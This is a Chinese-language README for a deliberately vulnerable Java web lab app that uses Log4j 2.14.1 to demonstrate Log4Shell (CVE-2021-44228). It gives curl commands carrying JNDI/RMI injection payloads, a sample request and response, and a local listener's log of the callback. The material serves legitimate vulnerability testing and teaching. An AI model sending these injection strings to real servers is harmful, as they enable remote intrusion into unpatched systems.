这是一个包含 Log4j(2.14.1) 的潜在易受攻击的 Java Web 应用，该版本受 log4shell（CVE-2021-44228）影响。
java --version 命令，检查 AdoptOpenJDK 是否能正常工作。[注意]
如果你想更改 JDK 版本、Tomcat 端口等，请编辑 build.gradle。
使用 build.gradle 执行 Gradle wrapper。
# on Linux
./gradlew appRun
# on Windows
.\gradlew.bat appRun
根 URL：
http://localhost:8080/l4s-vulnapp/
[注意]
Log4Shell 仅在应用进行某些 Log4j 日志记录时触发。
例如，如果访问以下 URL，将执行 Log4Shell。
http://localhost:8080/l4s-vulnapp/servlet
你可以通过篡改“x-param”的值，或在访问时向 HTTP 请求添加“x-log”标头，来验证 Log4Shell。
这些参数将被 Log4j 记录。
但是，这仅在监听服务器运行在 localhost:8081 上时才有效。
curl http://localhost:8080/l4s-vulnapp/servlet -H 'x-log: ${jndi:rmi://localhost:8081/test.txt}'
curl -X GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D
HTTP 请求
GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/ *;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/l4s-vulnapp/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ja,en-US;q=0.9,en;q=0.8
HTTP 响应
HTTP/1.1 200
Content-Type: text/plain;charset=utf-8
Content-Length: 62
Date: Fri, 15 Mar 2024 18:42:56 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Hello
Logging to console using vulnerable Log4j2 by parameter
来自 l4s-vulnapp 的 RMI 请求
2024/03/16 03:42:46: [Start] Receive Server for Log4Shell.
2024/03/16 03:42:46: [Note] Listening on IP: "localhost" Port: 8081
2024/03/16 03:42:55: [Note] Requested from IP: "127.0.0.1" Port: 53282)
2024/03/16 03:42:55: [Hex data] ===== start =====
2024/03/16 03:42:56: 00000000 4A 52 4D 49 00 02 4B 00 00 00 00 00 00 00 00 00 JRMI..K.........
2024/03/16 03:42:56: 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2024/03/16 03:42:56: [Hex data] ===== end =====
2024/03/16 03:42:56: [Raw data] ===== start =====
2024/03/16 03:42:56: JRMI
2024/03/16 03:42:56: [Raw data] ===== end =====
l4s-ls.ps1 启动一个监听服务器，请在 Windows PowerShell/命令提示符下执行此脚本。
该服务器接收 LDAP 和 RMI 等二进制通信，并可以 Hex 和 Raw 格式显示这些通信的内容。
如果脚本运行异常，请使用 Ctrl + C 停止。
[警告]
首次运行此脚本时，需要在 Windows 弹窗中选择“专用网络（Private Network）”。
PowerShell -ExecutionPolicy RemoteSigned .\l4s-ls.ps1 -p 8081